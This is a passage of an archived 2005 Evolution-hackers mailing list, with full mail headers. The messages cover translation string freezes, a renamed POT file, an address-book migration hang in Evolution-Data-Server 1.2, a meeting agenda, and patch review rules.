X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Today at 18:27, JP Rosevear wrote: > So, my original task morphed somewhat and I ended up tidying up the > contacts, calendar and shell schema files (and cropped up some > additional issues below), I started on the mailer but it has more than > the other three combined so I started to get worried about the number of > string changes this might involve total, so I'm CC'ing the gnome-i18n > team as well. I feel if these are going to go in, they should go in now. Freeze is there for translators, but before the freeze, all changes are welcome unless they unnecessarily burden some teams. Consistency is what translators very much prefer, so it's better done now than later forgotten. According to last update, we also have problems updating evolution POT files in our stats, so that may be of bigger influence than these changes (depending on how long this is the case). This might be only GTP's problem (i.e. wrong POT filename listed in cvs.gnome.org:gnome-i18n/status/data/translation-status.xml), but it might be a problem in Evolution itself. According to http://l10n-status.gnome.org/gnome-2.10/nds_DE/desktop/index.html there're problems in all of evolution, e-d-s and evolution-exchange. So, you have my support, if that's of any significance. Of course, I hope the extent of the changes is not such as to make Evolution completely untranslated, because it's still one of the biggest modules in Gnome :) Cheers, Danilo From carlos@gnome.org Fri Feb 4 17:36:58 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 91566124863; Fri, 4 Feb 2005 17:36:58 -0500 (EST) Received: from gandalf.pemas.net (gandalf.pemas.net [207.150.166.132]) by lists.ximian.com (Postfix) with ESMTP id 33F1C124739 for ; Fri, 4 Feb 2005 17:36:46 -0500 (EST) Received: from gollum.pemas.net (69.Red-80-33-181.pooles.rima-tde.net [80.33.181.69]) by gandalf.pemas.net (Postfix) with ESMTP id ED8FD4D9A1; Fri, 4 Feb 2005 23:36:43 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by gollum.pemas.net (Postfix) with ESMTP id 272E9C; Fri, 4 Feb 2005 23:36:43 +0100 (CET) Received: from gollum.pemas.net ([127.0.0.1]) by localhost (Gollum [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 26404-02; Fri, 4 Feb 2005 23:36:39 +0100 (CET) Received: from [192.168.0.12] (unknown [192.168.0.1]) by gollum.pemas.net (Postfix) with ESMTP id D6417B; Fri, 4 Feb 2005 23:36:39 +0100 (CET) From: Carlos =?ISO-8859-1?Q?Perell=F3_Mar=EDn?= To: Danilo =?iso-8859-2?Q?=A9egan?= Cc: gnome-i18n@gnome.org, Evolution Hackers mailing list , JP Rosevear In-Reply-To: <874qgsyoi5.fsf@avet.kvota.net> References: <1107538072.7848.26.camel@bishop.rosevear.com> <874qgsyoi5.fsf@avet.kvota.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-1HV4FwnpXb2/Ictj2EwB" Organization: GNOME Foundation Date: Fri, 04 Feb 2005 23:36:31 +0100 Message-Id: <1107556591.13976.15.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at pemas.net X-Spam-Status: No, hits=-25.8 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-1HV4FwnpXb2/Ictj2EwB Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: quoted-printable On Fri, 2005-02-04 at 23:00 +0100, Danilo =A6egan wrote: > Hi, >=20 Hi [...] > According to last update, we also have problems updating evolution POT=20 > files in our stats, so that may be of bigger influence than these=20 > changes (depending on how long this is the case). >=20 > This might be only GTP's problem (i.e. wrong POT filename listed in > cvs.gnome.org:gnome-i18n/status/data/translation-status.xml), but it > might be a problem in Evolution itself. According to=20 > http://l10n-status.gnome.org/gnome-2.10/nds_DE/desktop/index.html > there're problems in all of evolution, e-d-s and evolution-exchange. Evolution's .pot file is called now evolution-2.2.pot instead of evolution-2.0.pot That's the problem. Sorry for the delay but I'm with final exams :-( Cheers. >=20 >=20 > So, you have my support, if that's of any significance. Of course, I > hope the extent of the changes is not such as to make Evolution > completely untranslated, because it's still one of the biggest modules > in Gnome :) >=20 > Cheers, > Danilo > _______________________________________________ > gnome-i18n mailing list > gnome-i18n@gnome.org > http://mail.gnome.org/mailman/listinfo/gnome-i18n --=20 Carlos Perell=F3 Mar=EDn Ubuntu Warty (PowerPC) =3D> http://www.ubuntulinux.org Linux Registered User #121232 mailto:carlos@pemas.net || mailto:carlos@gnome.org http://carlos.pemas.net Valencia - Spain --=-1HV4FwnpXb2/Ictj2EwB Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQBCA/jvEuPMamD5V9cRAsWKAJ9LioW9S8arvVYjKUY5ZNYckli6PwCdHqQm CAqvzuNu+Lq2aqYRkdI9uG0= =UO7T -----END PGP SIGNATURE----- --=-1HV4FwnpXb2/Ictj2EwB-- From danilo@gnome.org Fri Feb 4 23:03:56 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D3A981241BC; Fri, 4 Feb 2005 23:03:56 -0500 (EST) Received: from avet.kvota.net (unknown [147.91.15.35]) by lists.ximian.com (Postfix) with ESMTP id 0E42E124172 for ; Fri, 4 Feb 2005 23:03:45 -0500 (EST) Received: by avet.kvota.net (Postfix, from userid 1000) id 9B19E7CDDA; Sat, 5 Feb 2005 05:05:54 +0100 (CET) To: =?utf-8?q?Carlos_Perell=C3=B3_Mar=C3=ADn?= Cc: gnome-i18n@gnome.org, JP Rosevear , Evolution Hackers mailing list References: <1107538072.7848.26.camel@bishop.rosevear.com> <874qgsyoi5.fsf@avet.kvota.net> <1107556591.13976.15.camel@localhost.localdomain> From: danilo@gnome.org (=?utf-8?q?Danilo_=C5=A0egan?=) Mail-Followup-To: =?utf-8?q?Carlos_Perell=C3=B3_Mar=C3=ADn?= , gnome-i18n@gnome.org, JP Rosevear , Evolution Hackers mailing list Date: Sat, 05 Feb 2005 05:05:54 +0100 In-Reply-To: <1107556591.13976.15.camel@localhost.localdomain> ( =?utf-8?q?Carlos_Perell=C3=B3_Mar=C3=ADn's_message_of?= "Fri, 04 Feb 2005 23:36:31 +0100") Message-ID: <87zmyjy7kt.fsf@avet.kvota.net> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Status: No, hits=-22.3 required=5.0 tests=BAYES_90,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,USER_AGENT_GNUS_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Carlos, Yesterday at 23:36, Carlos Perell=C3=B3 Mar=C3=ADn wrote: > Evolution's .pot file is called now evolution-2.2.pot instead of > evolution-2.0.pot > > That's the problem. > > Sorry for the delay but I'm with final exams :-( No need to apologize. I'm myself able to check and correct this, but I also lacked the time. So actually, THANK YOU for looking into it!=20 Cheers, Danilo From jpr@novell.com Mon Feb 7 01:30:47 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7E2381241B8; Mon, 7 Feb 2005 01:30:47 -0500 (EST) Received: from s-utl01-slpop.stsn.com (s-utl01-slpop.stsn.com [12.168.96.11]) by lists.ximian.com (Postfix) with SMTP id E1898124398 for ; Mon, 7 Feb 2005 01:30:35 -0500 (EST) Received: from slpop.smtp.stsn.com ([127.0.0.1]) by s-utl01-slpop.stsn.com (SAVSMTP 3.1.0.29) with SMTP id M2005020623303006398 for ; Sun, 06 Feb 2005 23:30:30 -0700 Received: from [192.168.1.15] ([10.80.195.88]) by slpop.smtp.stsn.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 6 Feb 2005 23:30:30 -0700 Subject: Re: [Evolution-hackers] Schema file issues From: JP Rosevear To: Not Zed Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <1107565803.26413.16.camel@lostzed.mmc.com.au> References: <1107538072.7848.26.camel@bishop.rosevear.com> <1107565803.26413.16.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Mon, 07 Feb 2005 01:15:40 -0500 Message-Id: <1107756940.12870.1.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Feb 2005 06:30:30.0883 (UTC) FILETIME=[85504330:01C50CDE] X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Sat, 2005-02-05 at 09:10 +0800, Not Zed wrote: > > My opinion is 'who cares', its only for the registry editor, which > shouldn't ever be being used anyway, if all things are working > properly. Well, I do and so do the translators at least. There were also non string related items in the mail - dead keys, keys in possibly the wrong spot and schema file naming which need addressing. -JP -- JP Rosevear From dsandras@seconix.com Mon Feb 7 05:32:45 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 720081244FB; Mon, 7 Feb 2005 05:32:45 -0500 (EST) Received: from seconix.com (seconix.com [213.193.144.104]) by lists.ximian.com (Postfix) with ESMTP id BBCDC1244FB for ; Mon, 7 Feb 2005 05:32:33 -0500 (EST) Received: from pc-dhcp-44.telecom.fpms.ac.be (unknown [193.190.210.151]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by seconix.com (Postfix) with ESMTP id 5F93A181CB for ; Mon, 7 Feb 2005 11:34:41 +0100 (CET) From: Damien Sandras To: evolution-hackers@lists.ximian.com Content-Type: text/plain Date: Mon, 07 Feb 2005 11:32:30 +0100 Message-Id: <1107772350.29230.4.camel@golgoth01> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] EDS 1.2 - Migration of the address book Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello to all, I noticed a potential problem with the new Evolution-Data-Server 1.2. Some GnomeMeeting users do not use Evolution as mail client, but they are still "forced" to use Evolution-Data-Server as backend in order to store GnomeMeeting contacts in the address book. When upgrading to Evolution-Data-Server 1.2, things do not work anymore until they launch the new Evolution that will do an "address book migration". That will give a problem to all users who are not using Evolution. One solution would be to copy the code to migrate the address book from Evolution to GnomeMeeting, but it doesn't seem to be a good solution as it would require to do it for all GNOME applications who are using Evolution-Data-Server. Wouldn't it be possible to move that "Address Book" migration code to Evolution-Data-Server itself? If not, what other clean solution do you propose? Thank you, -- _ Damien Sandras (o- GnomeMeeting: http://www.gnomemeeting.org/ //\ FOSDEM 2005 : http://www.fosdem.org v_/_ H.323 phone : callto:ils.seconix.com/dsandras@seconix.com From dobey@novell.com Mon Feb 7 13:28:43 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4C510124016; Mon, 7 Feb 2005 13:28:43 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 1C77F124076 for ; Mon, 7 Feb 2005 13:28:31 -0500 (EST) Received: (qmail 28629 invoked from network); 7 Feb 2005 18:28:30 -0000 Received: from localhost (HELO blackbox.boston.ximian.com) (dobey@127.0.0.1) by localhost with SMTP; 7 Feb 2005 18:28:30 -0000 Subject: Re: [Evolution-hackers] EDS 1.2 - Migration of the address book From: Rodney Dawes To: Damien Sandras Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1107772350.29230.4.camel@golgoth01> References: <1107772350.29230.4.camel@golgoth01> Content-Type: text/plain Date: Mon, 07 Feb 2005 13:28:29 -0500 Message-Id: <1107800909.30192.6.camel@blackbox.cam.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-02-07 at 11:32 +0100, Damien Sandras wrote: > Hello to all, > > I noticed a potential problem with the new Evolution-Data-Server 1.2. > Some GnomeMeeting users do not use Evolution as mail client, but they > are still "forced" to use Evolution-Data-Server as backend in order to > store GnomeMeeting contacts in the address book. > When upgrading to Evolution-Data-Server 1.2, things do not work anymore > until they launch the new Evolution that will do an "address book > migration". Things don't work how? The backend hasn't changed for the address book, and the gconf keys haven't changed in format or anything either. I think this is just a bug, and not necessarily a need to run migration. > That will give a problem to all users who are not using Evolution. > > One solution would be to copy the code to migrate the address book from > Evolution to GnomeMeeting, but it doesn't seem to be a good solution as > it would require to do it for all GNOME applications who are using > Evolution-Data-Server. > > Wouldn't it be possible to move that "Address Book" migration code to > Evolution-Data-Server itself? If not, what other clean solution do you > propose? We do need to move migration into e-d-s itself. Perhaps we should do that for 2.3. I don't think we have time to do it for 2.2, given that we are now string/ui/feature frozen for Gnome 2.10. -- dobey From dsandras@seconix.com Mon Feb 7 13:47:51 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 57C96124330; Mon, 7 Feb 2005 13:47:51 -0500 (EST) Received: from seconix.com (seconix.com [213.193.144.104]) by lists.ximian.com (Postfix) with ESMTP id 7C5C812435A for ; Mon, 7 Feb 2005 13:47:25 -0500 (EST) Received: from [192.168.1.12] (165-83.242.81.adsl.skynet.be [81.242.83.165]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by seconix.com (Postfix) with ESMTP id 3EF6885B2; Mon, 7 Feb 2005 19:49:36 +0100 (CET) Subject: Re: [Evolution-hackers] EDS 1.2 - Migration of the address book From: Damien Sandras To: Rodney Dawes Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1107800909.30192.6.camel@blackbox.cam.novell.com> References: <1107772350.29230.4.camel@golgoth01> <1107800909.30192.6.camel@blackbox.cam.novell.com> Content-Type: text/plain; charset=ISO-8859-15 Date: Mon, 07 Feb 2005 19:47:21 +0100 Message-Id: <1107802042.3223.7.camel@golgoth01> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-14.0 required=5.0 tests=BAYES_30,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Le lundi 07 février 2005 à 13:28 -0500, Rodney Dawes a écrit : > On Mon, 2005-02-07 at 11:32 +0100, Damien Sandras wrote: > > Hello to all, > > > > I noticed a potential problem with the new Evolution-Data-Server 1.2. > > Some GnomeMeeting users do not use Evolution as mail client, but they > > are still "forced" to use Evolution-Data-Server as backend in order to > > store GnomeMeeting contacts in the address book. > > > When upgrading to Evolution-Data-Server 1.2, things do not work anymore > > until they launch the new Evolution that will do an "address book > > migration". > > Things don't work how? The backend hasn't changed for the address book, > and the gconf keys haven't changed in format or anything either. I think > this is just a bug, and not necessarily a need to run migration. > If the address book has been created by GnomeMeeting using Evolution-Data-Server 1.2, there is no problem. If there exist an address book created by Evolution using Evolution-Data-Server 1.x, then it hangs with the following backtrace : #0 0x41a37115 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/libpthread.so.0 #1 0x405b5906 in e_book_cancel () from /usr/lib/libebook-1.2.so.3 #2 0x405b5a60 in e_book_open () from /usr/lib/libebook-1.2.so.3 #3 0x080bce00 in gnomemeeting_local_addressbook_get_contacts ( addbook=0x82cb0c8, nbr=@0x0, partial_match=0, fullname=0x82d3838 " ²,\b\001", url=0x0, categorie=0x0, speeddial=0x0) at gm_contacts-eds.cpp:424 [...] Once the address book migration has been executed by the new Evolution, then it starts working again. > We do need to move migration into e-d-s itself. Perhaps we should do > that for 2.3. I don't think we have time to do it for 2.2, given that we > are now string/ui/feature frozen for Gnome 2.10. No problem but is there a workaround to the above problem? -- _ Damien Sandras (o- GnomeMeeting: http://www.gnomemeeting.org/ //\ FOSDEM 2005 : http://www.fosdem.org v_/_ H.323 phone : callto:ils.seconix.com/dsandras@seconix.com From dsandras@seconix.com Mon Feb 7 15:24:41 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 56F1D12422D; Mon, 7 Feb 2005 15:24:41 -0500 (EST) Received: from seconix.com (seconix.com [213.193.144.104]) by lists.ximian.com (Postfix) with ESMTP id F3DA512420C for ; Mon, 7 Feb 2005 15:24:28 -0500 (EST) Received: from [192.168.1.12] (165-83.242.81.adsl.skynet.be [81.242.83.165]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by seconix.com (Postfix) with ESMTP id D8B9518F8F; Mon, 7 Feb 2005 21:26:41 +0100 (CET) Subject: Re: [Evolution-hackers] EDS 1.2 - Migration of the address book From: Damien Sandras To: Rodney Dawes Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1107800909.30192.6.camel@blackbox.cam.novell.com> References: <1107772350.29230.4.camel@golgoth01> <1107800909.30192.6.camel@blackbox.cam.novell.com> Content-Type: text/plain; charset=ISO-8859-15 Date: Mon, 07 Feb 2005 21:24:23 +0100 Message-Id: <1107807863.13703.0.camel@golgoth01> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-19.0 required=5.0 tests=BAYES_01,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Le lundi 07 février 2005 à 13:28 -0500, Rodney Dawes a écrit : > On Mon, 2005-02-07 at 11:32 +0100, Damien Sandras wrote: > > Hello to all, > > > > I noticed a potential problem with the new Evolution-Data-Server 1.2. > > Some GnomeMeeting users do not use Evolution as mail client, but they > > are still "forced" to use Evolution-Data-Server as backend in order to > > store GnomeMeeting contacts in the address book. > > > When upgrading to Evolution-Data-Server 1.2, things do not work anymore > > until they launch the new Evolution that will do an "address book > > migration". > > Things don't work how? The backend hasn't changed for the address book, > and the gconf keys haven't changed in format or anything either. I think > this is just a bug, and not necessarily a need to run migration. OK the solution is simple : The problem only arises when evolution-data-server 1.2 and 1.0 are running at the same time. So the fix is to kill e-d-s 1.0 and things work again. Thanks, -- _ Damien Sandras (o- GnomeMeeting: http://www.gnomemeeting.org/ //\ FOSDEM 2005 : http://www.fosdem.org v_/_ H.323 phone : callto:ils.seconix.com/dsandras@seconix.com From jpr@novell.com Mon Feb 7 15:36:02 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B642E1248B3; Mon, 7 Feb 2005 15:35:58 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id C0EC2124898 for ; Mon, 7 Feb 2005 15:35:46 -0500 (EST) Received: from [151.155.11.182] ([137.65.81.216]) by lyle.provo.novell.com; Mon, 07 Feb 2005 13:35:36 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Mon, 07 Feb 2005 15:35:24 -0500 Message-Id: <1107808524.26032.5.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.1 String freeze -2.1 notification reminder -Patch review mode reminder -2.0.4 bugs and timeline 2. Team -individual status reports 3. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From owner-evolution-hackers@skeptopotamus.ximian.com Mon Feb 7 18:16:31 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id F3518124640; Mon, 7 Feb 2005 18:16:30 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 1157D12418D for ; Mon, 7 Feb 2005 18:16:19 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id C6D23640F3; Mon, 7 Feb 2005 18:16:18 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id 5B3AF640C3 for ; Mon, 7 Feb 2005 18:16:18 -0500 (EST) Received: from bishop.dnsdhcp.provo.novell.com ([137.65.81.216]) by lyle.provo.novell.com; Mon, 07 Feb 2005 16:16:06 -0700 From: JP Rosevear To: evolution-hackers@ximian.com Content-Type: text/plain Organization: Novell, Inc. Date: Mon, 07 Feb 2005 18:15:55 -0500 Message-Id: <1107818155.19112.6.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Patch Review Mode Guideline Update Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: The following are the guidelines for the 2.1 patch review mode. We still need one more reviewer for GtkHTML. Starting Tuesday Feb. 8th, 2005 at 00:01 Boston time, patch review mode will be in effect: * Every patch will be sent to evolution-patches@ximian.com and conform to the guidelines at http://www.gnome.org/projects/evolution/patch.shtml * Every patch will have to be on the list for at least 24 hours before being committed. A week-end (Saturday+Sunday) counts as a single 24-hour day. * Core maintainers are required to give their opinion on the bug in the 24 hour period. * Core maintainers are defined as follows: Addressbook (Evolution and EDS): Sivaiah N Hans Petter Jennson Calendar (Evolution and EDS): Rodrigo Moya Harish Krishnaswamy GtkHTML: Radek Doulik Mailer (Evolution and EDS): Jeffrey Stedfast Michael Zucchi Groupwise (EDS): Sivaiah N Harish Krishnaswamy Chenthill Palanisamy Shell: JP Rosevear Michael Zucchi GAL: Any of the maintainers listed above * Once the patch has been committed, it is repsonsibility of the person who commits to: - Close the corresponding bug on Bugzilla. - Write to the mailing list, replying to the original message containing the patch to inform the other hackers that the patch has been committed. -JP -- JP Rosevear Novell, Inc. From jpr@novell.com Mon Feb 7 19:39:41 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 78A171243F7; Mon, 7 Feb 2005 19:39:41 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 0B9D0124640 for ; Mon, 7 Feb 2005 19:39:29 -0500 (EST) Received: from bishop.dnsdhcp.provo.novell.com ([137.65.81.216]) by lyle.provo.novell.com; Mon, 07 Feb 2005 17:39:24 -0700 Subject: Re: [Evolution-hackers] Re: Schema file issues From: JP Rosevear To: Danilo =?iso-8859-2?Q?=A9egan?= Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <874qgsyoi5.fsf@avet.kvota.net> References: <1107538072.7848.26.camel@bishop.rosevear.com> <874qgsyoi5.fsf@avet.kvota.net> Content-Type: text/plain; charset=utf-8 Date: Mon, 07 Feb 2005 19:39:12 -0500 Message-Id: <1107823152.19112.11.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-04 at 23:00 +0100, Danilo Å egan wrote: > Hi, > > Today at 18:27, JP Rosevear wrote: > > > So, my original task morphed somewhat and I ended up tidying up the > > contacts, calendar and shell schema files (and cropped up some > > additional issues below), I started on the mailer but it has more than > > the other three combined so I started to get worried about the number of > > string changes this might involve total, so I'm CC'ing the gnome-i18n > > team as well. > > I feel if these are going to go in, they should go in now. Freeze is > there for translators, but before the freeze, all changes are welcome > unless they unnecessarily burden some teams. Consistency is what > translators very much 